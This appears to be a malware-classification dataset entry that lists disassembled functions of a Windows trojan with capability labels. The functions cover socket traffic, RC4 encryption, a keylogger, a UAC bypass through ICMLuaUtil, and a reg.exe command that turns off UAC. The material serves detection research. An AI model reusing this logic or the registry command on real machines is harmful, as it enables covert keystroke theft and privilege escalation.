joyce8/EMBER2024-capa huggingface dataset:
Function at 0x404aa1
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
mov edi, ecx
lea ecx, [ebp + 0xc]
call fcn.0040247c
push 4
pop esi
xor ebx, ebx
lea ecx, [ebp - 0x20]
push ebx
add eax, esi
push 0xc
mov dword [ebp - 8], eax
call fcn.0040520c
push esi
lea eax, [edi + 0x2c]
push eax
push ebx
lea ecx, [ebp - 0x20]
call fcn.004051e3
push eax
call fcn.00436990
add esp, 0xc
lea eax, [ebp - 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push esi
call fcn.004051e3
push eax
call fcn.00436990
add esp, 0xc
lea eax, [ebp + 8]
lea ecx, [ebp - 0x20]
push esi
push eax
push 8
call fcn.004051e3
push eax
call fcn.00436990
add esp, 0xc
lea eax, [ebp + 0xc]
lea ecx, [ebp - 0x20]
push eax
call fcn.00403376
cmp byte [edi + 1], bl
jne 0x404b40
push ebx
lea ecx, [ebp - 0x20]
call fcn.0040247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401fab
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
mov esi, eax
jmp 0x404b7b
or ebx, 0xffffffff
push ebx
push dword [edi + 0x70]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push ecx
lea ecx, [ebp - 0x20]
call fcn.0040247c
push eax
lea ecx, [ebp - 0x20]
call fcn.00401fab
mov ecx, dword [edi + 0x50]
mov edx, eax
call fcn.004210cb
pop ecx
mov esi, eax
pop ecx
push dword [edi + 0x70]
test esi, esi
cmove esi, ebx
call dword [sym.imp.KERNEL32.dll_SetEvent]
lea ecx, [ebp - 0x20]
call fcn.00401fd8
lea ecx, [ebp + 0xc]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x1c

Function at 0x404b96
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, ecx
cmp byte [edi + 1], 0
je 0x404bcd
push 0xffffffffffffffff
push dword [edi + 0x6c]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edx, dword [esp + 0xc]
push ecx
push dword [esp + 0x14]
mov ecx, dword [edi + 0x4c]
call fcn.00421107
pop ecx
pop ecx
push dword [edi + 0x6c]
mov esi, eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov eax, esi
jmp 0x404be0
push 0
push dword [esp + 0x14]
push dword [esp + 0x14]
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_recv]
pop edi
pop esi
ret 0xc

Function at 0x404be5
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
mov dword [ecx + 8], eax
xor eax, eax
push eax
push eax
push ecx
push 0x404c01
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
ret 4
Function at 0x404cc3
Capabilities:
Create thread

Disassembly:
sub esp, 0x38
and dword [esp + 4], 0
push ebx
push ebp
push esi
mov esi, ecx
lea ecx, [esp + 0x14]
push edi
and dword [esi + 0x54], 0
call fcn.004020df
mov bh, byte [esp + 0x54]
lea eax, [esi + 0x58]
mov edi, dword [esp + 0x4c]
push eax
lea eax, [esp + 0x18]
mov ecx, edi
push eax
call fcn.00401fab
push eax
mov ecx, esi
call fcn.00404efb
test al, al
je 0x404e13
movzx ecx, byte [esi + 0x30]
mov ebp, dword [esp + 0x14]
mov dword [esp + 0x54], ecx
add ebp, ecx
mov ecx, edi
call fcn.0040247c
cmp ebp, eax
jbe 0x404d31
mov ecx, edi
mov bl, 1
call fcn.0040247c
mov ecx, ebp
sub ecx, eax
mov dword [esi + 0x54], ecx
jmp 0x404d33
xor bl, bl
test bl, bl
jne 0x404e13
push 0xffffffffffffffff
push dword [esp + 0x58]
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
push dword [esp + 0x14]
lea eax, [esp + 0x34]
push 0
push eax
lea ecx, [esp + 0x24]
call fcn.004041a2
push eax
lea ecx, [esp + 0x1c]
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
lea eax, [esp + 0x18]
test bh, bh
jne 0x404da4
sub esp, 0x18
mov ecx, esp
push eax
call fcn.004020f6
push esi
call dword [esp + 0x6c]
add esp, 0x1c
jmp 0x404de1
push eax
lea ecx, [esi + 0xc]
call fcn.00401fc0
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 0x24], eax
xor eax, eax
push eax
push eax
push esi
push dword [esp + 0x5c]
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xffffffffffffffff
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [esi + 0x24]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push ebp
lea eax, [esp + 0x38]
mov ecx, edi
push eax
call fcn.004041a2
push eax
mov ecx, edi
call fcn.00401fe2
lea ecx, [esp + 0x30]
call fcn.00401fd8
mov ecx, edi
call fcn.0040247c
test eax, eax
lea eax, [esi + 0x58]
jne 0x404ce9
lea ecx, [esp + 0x18]
call fcn.00401fd8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x38
ret 0xc

Function at 0x404f51
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
mov esi, ecx
push edi
cmp byte [esi + 0x5c], 0
jne 0x404fea
cmp byte [ebp + 0xc], 0
mov edi, dword [ebp + 8]
jne 0x404f74
mov byte [esi + 0x7c], 1
jmp 0x404fc0
cmp byte [0x472d48], 0
je 0x404fc0
lea eax, [ebp - 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
mov edx, edi
lea ecx, [ebp - 0x28]
call fcn.0041bc1f
sub esp, 0x18
mov edx, str.KeepAlive______________Enabled__Timeout:
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [ebp - 0x28]
call fcn.00401fd8
mov dword [esi + 0x74], edi
xor edi, edi
push edi
push edi
push edi
push edi
mov byte [esi + 0x5c], 1
call dword [sym.imp.KERNEL32.dll_CreateEventA]
push edi
push edi
push esi
push 0x405150
push edi
push edi
mov dword [esi + 0x60], eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
jmp 0x404fec
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret 8
Function at 0x406d08
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebx
push ebp
push esi
xor esi, esi
push edi
mov edi, ecx
mov eax, esi
movd xmm0, eax
pshufd xmm0, xmm0, 0
paddd xmm0, xmmword [0x46d2a0]
movups xmmword [edi + eax*4], xmm0
add eax, 4
cmp eax, 0x100
jl 0x406d12
mov ebp, dword [esp + 0x14]
mov ebx, esi
xor edx, edx
mov eax, ebx
div dword [esp + 0x18]
movzx eax, byte [edx + ebp]
add eax, dword [edi + ebx*4]
add esi, eax
and esi, 0x800000ff
jns 0x406d58
dec esi
or esi, 0xffffff00
inc esi
mov cl, byte [edi + ebx*4]
mov eax, dword [edi + esi*4]
mov dword [edi + ebx*4], eax
inc ebx
movzx eax, cl
mov dword [edi + esi*4], eax
cmp ebx, 0x100
jl 0x406d37
pop edi
pop esi
pop ebp
pop ebx
ret 8

Function at 0x406d77
Capabilities:
Encrypt data using rc4 prga

Disassembly:
sub esp, 0x400
lea eax, [esp]
push ebx
push esi
push edi
push 0x400
push ecx
xor esi, esi
push eax
mov edi, esi
call fcn.00436990
mov edx, dword [esp + 0x420]
add esp, 0xc
mov ebx, esi
add edx, 1
je 0x406e07
push ebp
mov ebp, dword [esp + 0x414]
inc esi
and esi, 0x800000ff
jns 0x406dbd
dec esi
or esi, 0xffffff00
inc esi
mov eax, dword [esp + esi*4 + 0x10]
add edi, eax
and edi, 0x800000ff
jns 0x406dd3
dec edi
or edi, 0xffffff00
inc edi
mov cl, al
mov eax, dword [esp + edi*4 + 0x10]
mov dword [esp + esi*4 + 0x10], eax
movzx eax, cl
mov dword [esp + edi*4 + 0x10], eax
mov ecx, dword [esp + esi*4 + 0x10]
add ecx, eax
and ecx, 0x800000ff
jns 0x406dfa
dec ecx
or ecx, 0xffffff00
inc ecx
mov al, byte [esp + ecx*4 + 0x10]
xor byte [ebx + ebp], al
inc ebx
cmp ebx, edx
jb 0x406dac
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x400
ret 8

Function at 0x40729b
Capabilities:
Terminate process

Disassembly:
xor eax, eax
inc eax
cmp dword [0x4719d0], eax
jne 0x4076c5
ret
cmp dword [0x4719d0], 1
jne 0x4076d2
xor eax, eax
inc eax
ret
push esi
push dword [0x472d44]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, 0x4752d8
mov edx, 0x466478
mov ecx, esi
call fcn.004077f2
test al, al
je 0x4076ff
mov ecx, esi
call fcn.00401f04
mov ecx, eax
jmp 0x407704
mov ecx, 0x472b38
call fcn.004076a8
pop esi
test eax, eax
jne 0x407715
push eax
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, 0x475320
call fcn.00401fab
push eax
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
push 2
mov dword [0x472d44], eax
pop eax
ret
Function at 0x4072ab
Capabilities:
Link many functions at runtime

Disassembly:
push ebx
push esi
mov esi, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov ebx, str.ntdll.dll
push edi
push str.RtlInitUnicodeString
push ebx
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
mov dword [0x472afc], eax
test eax, eax
jne 0x4072d7
xor eax, eax
jmp 0x407340
push str.NtAllocateVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b00], eax
test eax, eax
je 0x4072d3
push str.NtFreeVirtualMemory
push ebx
call esi
push eax
call edi
mov dword [0x472b0c], eax
test eax, eax
je 0x4072d3
push str.RtlAcquirePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b04], eax
test eax, eax
je 0x4072d3
push str.RtlReleasePebLock
push ebx
call esi
push eax
call edi
mov dword [0x472b10], eax
test eax, eax
je 0x4072d3
push str.LdrEnumerateLoadedModules
push ebx
call esi
push eax
call edi
xor ecx, ecx
mov dword [0x472af8], eax
test eax, eax
setne cl
mov eax, ecx
pop edi
pop esi
pop ebx
ret

Function at 0x407538
Capabilities:
Bypass uac via icmluautil

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
push esi
push edi
push str.___ucmAllocateElevatedObject_n
call fcn.0040723b
and dword [ebp - 4], 0
mov edi, str.3E5FC7F9_9A51_4367_9063_A120244FBEC7
push edi
mov esi, 0x80004005
call fcn.0043bb56
pop ecx
pop ecx
cmp eax, 0x40
ja 0x4075db
lea ecx, [ebp - 0x28]
call fcn.004071cb
lea eax, [ebp - 0x230]
mov dword [ebp - 0x28], 0x24
push str.Elevation:Administrator_new:
push eax
mov dword [ebp - 0x14], 4
call fcn.0043f859
lea eax, [ebp - 0x230]
push edi
push eax
call fcn.0043f87b
push str.___CoGetObject_n
call fcn.0040723b
add esp, 0x14
lea eax, [ebp - 4]
push eax
push 0x466528
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.ole32.dll_CoGetObject]
mov esi, eax
test esi, esi
je 0x4075d0
push str.____CoGetObject_FAILURE_n
jmp 0x4075d5
push str.___CoGetObject_SUCCESS_n
call fcn.0040723b
pop ecx
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
pop edi
mov dword [ecx], eax
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x407790
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.00436f10
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.00436f10
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x407877
Capabilities:
Enumerate files on windows

Disassembly:
sub esp, 0x2a0
lea eax, [esp + 0x4c]
lea ecx, [esp + 0x2a4]
push ebx
push ebp
push esi
push eax
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4078c1
sub esp, 0x18
lea edx, [esp + 0x2c8]
mov ecx, esp
call fcn.0041bdaf
push 0x54
mov ecx, 0x475058
call fcn.00404aa1
jmp 0x407988
lea ecx, [esp + 0x10]
call fcn.004020df
lea eax, [esp + 0x84]
push eax
lea ecx, [esp + 0x2c]
call fcn.0040417e
mov edx, 0x466538
mov ecx, eax
call fcn.004077f2
lea ecx, [esp + 0x28]
mov bl, al
call fcn.00401f09
mov ebp, 0x250
test bl, bl
je 0x407954
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x30]
call fcn.004020b7
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
jmp 0x40794f
push ebp
lea eax, [esp + 0x5c]
push eax
lea ecx, [esp + 0x48]
call fcn.004020b7
push eax
lea edx, [esp + 0x14]
lea ecx, [esp + 0x2c]
call fcn.00406362
pop ecx
push eax
lea ecx, [esp + 0x14]
call fcn.00401fe2
lea ecx, [esp + 0x28]
call fcn.00401fd8
lea ecx, [esp + 0x40]
call fcn.00401fd8
lea eax, [esp + 0x58]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x40791a
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push eax
call fcn.004020f6
push 0x50
mov ecx, 0x475058
call fcn.00404aa1
lea ecx, [esp + 0x10]
call fcn.00401fd8
lea ecx, [esp + 0x2b0]
call fcn.00401f09
pop esi
pop ebp
pop ebx
add esp, 0x2a0
ret
Function at 0x40799e
Capabilities:
Delete file
Move file
Write file on windows

Disassembly:
mov eax, 0x186e4
call fcn.00457730
push ebx
push ebp
push esi
mov esi, ecx
lea edx, [esp + 0x186fc]
push edi
xorps xmm0, xmm0
mov dword [esp + 0x18], esi
xor ebx, ebx
movlpd qword [esp + 0x10], xmm0
push 0x46653c
lea ecx, [esp + 0x3c]
mov dword [esp + 0x20], ebx
call fcn.00409196
pop ecx
push eax
lea ecx, [esp + 0x24]
call fcn.00403262
lea ecx, [esp + 0x38]
call fcn.00401f09
push ebx
push 0x80
push 2
push ebx
push ebx
push 4
lea ecx, [esp + 0x38]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
mov eax, dword [esp + 0x186fc]
cmp dword [esp + 0x14], eax
ja 0x407a87
mov edi, dword [esp + 0x186f8]
jae 0x407a81
push ecx
push 0x186a0
lea eax, [esp + 0x58]
mov ecx, esi
push eax
call fcn.00404b96
mov esi, eax
cdq
add dword [esp + 0x10], eax
lea eax, [esp + 0x1c]
push ebx
adc dword [esp + 0x18], edx
push eax
push esi
lea eax, [esp + 0x5c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
sub esp, 0x18
lea eax, [esp + 0x28]
mov ecx, esp
push 8
push eax
call fcn.004020b7
mov ecx, dword [esp + 0x30]
push 0x57
call fcn.00404aa1
test esi, esi
jle 0x407acf
mov eax, dword [esp + 0x186fc]
mov esi, dword [esp + 0x18]
cmp dword [esp + 0x14], eax
jb 0x407a1e
ja 0x407a87
cmp dword [esp + 0x10], edi
jb 0x407a1e
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x18700]
call fcn.00401f04
push eax
lea ecx, [esp + 0x24]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileW]
mov bl, 1
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x18700]
call fcn.00401f09
pop edi
pop esi
pop ebp
mov al, bl
pop ebx
add esp, 0x186e4
ret
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x20]
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
jmp 0x407aad

Function at 0x407ae8
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push esi
push edi
mov esi, ecx
call fcn.004020df
lea ecx, [ebp + 8]
call fcn.00401fab
mov edi, eax
jmp 0x407b6f
push 0xa
lea eax, [ebp - 4]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
push eax
call fcn.00441ed1
add esp, 0xc
lea eax, [ebp - 4]
lea ecx, [ebp - 0x4c]
push 0x2d
push eax
call fcn.00402093
mov ecx, eax
call fcn.00401fab
push eax
mov edx, esi
lea ecx, [ebp - 0x34]
call fcn.00406c59
pop ecx
mov edx, eax
lea ecx, [ebp - 0x1c]
call fcn.004091d8
pop ecx
push eax
mov ecx, esi
call fcn.00401fe2
lea ecx, [ebp - 0x1c]
call fcn.00401fd8
lea ecx, [ebp - 0x34]
call fcn.00401fd8
lea ecx, [ebp - 0x4c]
call fcn.00401fd8
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
inc edi
add edi, eax
cmp byte [edi], 0
jne 0x407b03
lea ecx, [ebp + 8]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409ede
Capabilities:
Get keyboard layout

Disassembly:
sub esp, 0x194
push ebx
push ebp
push esi
push edi
lea eax, [esp + 0x1a8]
add ecx, 0x98
push eax
call fcn.00401fc0
xor eax, eax
mov byte [esp + 0x14], al
mov dword [esp + 0x15], eax
mov dword [esp + 0x19], eax
lea eax, [esp + 0x14]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
mov ebp, 0x4751a8
mov ecx, ebp
call fcn.0040482d
push ecx
mov ecx, ebp
call fcn.004048c8
push dword [0x475140]
lea ecx, [esp + 0x24]
call fcn.0040417e
push 0x12
mov ecx, 0x4750e4
call fcn.00401e65
mov ecx, eax
call fcn.00401fab
mov edx, dword [0x47513c]
lea ecx, [esp + 0x188]
mov esi, eax
call fcn.0041bc1f
sub esp, 0x18
lea edx, [esp + 0x38]
mov edi, esp
lea ecx, [esp + 0x188]
mov ebx, 0x474ee0
push eax
push ebx
call fcn.0041bdaf
push eax
push ebx
lea eax, [esp + 0x1d0]
mov ecx, 0x475158
push eax
push ebx
call fcn.00401f04
mov ecx, eax
call fcn.0041c5a6
mov edx, eax
lea ecx, [esp + 0x188]
call fcn.0041bc1f
mov edx, dword [0x4751a0]
lea ecx, [esp + 0x170]
push eax
push ebx
call fcn.0041bc1f
push eax
movzx eax, byte [esi]
lea edx, [esp + 0x50]
push ebx
push eax
push ebx
lea ecx, [esp + 0x170]
call fcn.0040531e
pop ecx
mov edx, eax
lea ecx, [esp + 0x154]
call fcn.004091d8
pop ecx
mov edx, eax
lea ecx, [esp + 0x138]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x11c]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x100]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xe4]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0xc8]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0xac]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x90]
call fcn.00402f10
pop ecx
mov edx, eax
lea ecx, [esp + 0x74]
call fcn.00402ea1
pop ecx
mov edx, eax
lea ecx, [esp + 0x58]
call fcn.00402f10
pop ecx
mov edx, eax
mov ecx, edi
call fcn.00402ea1
pop ecx
push 0x12
mov ecx, ebp
call fcn.00404aa1
lea ecx, [esp + 0x38]
mov esi, eax
call fcn.00401fd8
lea ecx, [esp + 0x50]
call fcn.00401fd8
lea ecx, [esp + 0x68]
call fcn.00401fd8
lea ecx, [esp + 0x80]
call fcn.00401fd8
lea ecx, [esp + 0x98]
call fcn.00401fd8
lea ecx, [esp + 0xb0]
call fcn.00401fd8
lea ecx, [esp + 0xc8]
call fcn.00401fd8
lea ecx, [esp + 0xe0]
call fcn.00401fd8
lea ecx, [esp + 0xf8]
call fcn.00401fd8
lea ecx, [esp + 0x110]
call fcn.00401fd8
lea ecx, [esp + 0x128]
call fcn.00401fd8
lea ecx, [esp + 0x140]
call fcn.00401fd8
lea ecx, [esp + 0x158]
call fcn.00401fd8
lea ecx, [esp + 0x170]
call fcn.00401fd8
lea ecx, [esp + 0x188]
call fcn.00401fd8
lea ecx, [esp + 0x20]
call fcn.00401f09
lea ecx, [esp + 0x1a8]
call fcn.00401fd8
pop edi
mov eax, esi
pop esi
pop ebp
pop ebx
add esp, 0x194
ret 0x18
Function at 0x40a1b4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
lea eax, [ebp + 8]
push ebx
push esi
mov esi, ecx
push edi
push eax
lea ecx, [esi + 0x68]
mov byte [esi + 0x49], 1
call fcn.0040b927
cmp dword [esi + 0x4c], 2
mov edi, str.Offline_Keylogger_Started
je 0x40a205
push edi
lea ecx, [esp + 0x14]
call fcn.00402093
sub esp, 0x18
lea edx, [esp + 0x28]
mov ecx, esp
call fcn.0041bcef
mov ecx, esi
call fcn.0040b19f
lea ecx, [esp + 0x10]
call fcn.00401fd8
sub esp, 0x18
mov ecx, esp
push edi
call fcn.00402093
sub esp, 0x18
mov ecx, esp
push 0x465fb4
call fcn.00402093
call fcn.0041b580
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
add esp, 0x30
xor ebx, ebx
push ebx
push ebx
push esi
push 0x40a2b8
push ebx
push ebx
call edi
cmp dword [esi], ebx
jne 0x40a24b
push ebx
push ebx
push esi
push 0x40a2a2
push ebx
push ebx
call edi
push ebx
push ebx
push esi
push 0x40a2c4
push ebx
push ebx
call edi
lea ecx, [ebp + 8]
call fcn.00401f09
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x18

Function at 0x40a268
Capabilities:
Create thread

Disassembly:
lea eax, [esp + 4]
mov ecx, 0x475158
push eax
call fcn.0040b927
cmp byte [0x475139], 0
jne 0x40a296
xor eax, eax
push eax
push eax
push 0x4750f0
push 0x40a2ae
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [esp + 4]
call fcn.00401f09
ret 0x18

Function at 0x40a2f3
Capabilities:
Log keystrokes via application hook

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
push esi
mov esi, ecx
push edi
xor edi, edi
mov dword [0x472b24], esi
cmp dword [esi], edi
jne 0x40a36e
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
push 0x40a2df
push 0xd
call dword [sym.imp.USER32.dll_SetWindowsHookExA]
mov dword [esi], eax
test eax, eax
jne 0x40a36e
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea ecx, [esp + 0xc]
call fcn.0041bc1f
sub esp, 0x18
mov edx, str.Keylogger_initialization_failure:_error
mov ecx, esp
push eax
call fcn.004052fd
sub esp, 0x14
mov ecx, esp
push 0x465f18
call fcn.00402093
call fcn.0041b580
add esp, 0x30
lea ecx, [esp + 0xc]
call fcn.00401fd8
xor eax, eax
inc eax
jmp 0x40a39c
push edi
push edi
push edi
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.USER32.dll_GetMessageA]
test eax, eax
je 0x40a39a
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [esp + 0x24]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageA]
cmp dword [esi], edi
jne 0x40a36e
xor eax, eax
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40a41b
Capabilities:
Get keyboard layout
Log keystrokes via polling

Disassembly:
sub esp, 0x148
push ebx
push ebp
push esi
push edi
push 0x100
lea eax, [esp + 0x5c]
mov esi, ecx
push 0
push eax
mov dword [esp + 0x1c], esi
call fcn.00436f10
add esp, 0xc
lea edi, [esp + 0x1a]
xor eax, eax
mov word [esp + 0x18], ax
push 7
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
call dword [sym.imp.USER32.dll_GetForegroundWindow]
lea ecx, [esp + 0x14]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
push 0x10
mov ebp, eax
call dword [sym.imp.USER32.dll_GetKeyState]
lea eax, [esp + 0x58]
push eax
call dword [sym.imp.USER32.dll_GetKeyboardState]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
lea ebx, [esi + 0x54]
mov esi, dword [sym.imp.USER32.dll_ToUnicodeEx]
push dword [ebx]
call esi
cmp eax, 0xffffffff
je 0x40a511
cmp dword [0x476b18], 0
je 0x40a50b
xor eax, eax
lea edi, [esp + 0x3a]
push 7
mov word [esp + 0x3c], ax
pop ecx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [esp + 0x18]
push eax
lea eax, [esp + 0x3c]
push eax
call fcn.0043f859
push 0x100
xor ebx, ebx
lea eax, [esp + 0x64]
push ebx
push eax
call fcn.00436f10
add esp, 0x14
lea eax, [esp + 0x18]
push ebp
push ebx
push 0x10
push eax
lea eax, [esp + 0x68]
push eax
push dword [0x476b1c]
push dword [0x476b18]
call esi
mov dword [0x476b18], ebx
lea eax, [esp + 0x38]
push eax
jmp 0x40a544
lea eax, [esp + 0x18]
jmp 0x40a508
push 5
pop ecx
mov esi, ebx
mov edi, 0x476b18
rep movsd dword es:[edi], dword [esi]
mov esi, dword [esp + 0x10]
push ebp
push 0
push 0x10
lea eax, [esp + 0x24]
push eax
lea eax, [esp + 0x68]
push eax
push dword [esi + 0x58]
push dword [ebx]
call dword [sym.imp.USER32.dll_ToUnicodeEx]
test eax, eax
js 0x40a521
push 0x466478
mov ecx, dword [esp + 0x160]
call fcn.0040417e
mov eax, dword [esp + 0x15c]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x148
ret 4

Function at 0x40a6b0
Capabilities:
Get file size

Disassembly:
mov eax, dword [0x4751a0]
or eax, dword [0x4751a4]
push ebx
push esi
push edi
mov esi, ecx
je 0x40a75d
xor ebx, ebx
mov byte [esi + 0x39], bl
push ebx
push 0x80
push 3
push ebx
push 7
push closesocket
mov ecx, 0x475158
call fcn.00401f04
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
je 0x40a731
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp ebx, dword [0x4751a4]
jb 0x40a728
ja 0x40a70d
cmp eax, dword [0x4751a0]
jb 0x40a728
mov byte [esi + 0x39], 1
cmp byte [esi + 0x49], bl
je 0x40a71d
mov ecx, esi
call fcn.0040b117
push 0x2710
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x40a734
mov byte [esi + 0x39], bl
cmp byte [esi + 0x39], 1
je 0x40a6cb
cmp byte [esi + 0x49], bl
jne 0x40a75d
cmp dword [0x47513c], 1
jne 0x40a75d
sub esp, 0x18
lea eax, [esi + 0x68]
mov ecx, esp
push eax
call fcn.00409097
mov ecx, esi
call fcn.0040a1b4
pop edi
pop esi
pop ebx
ret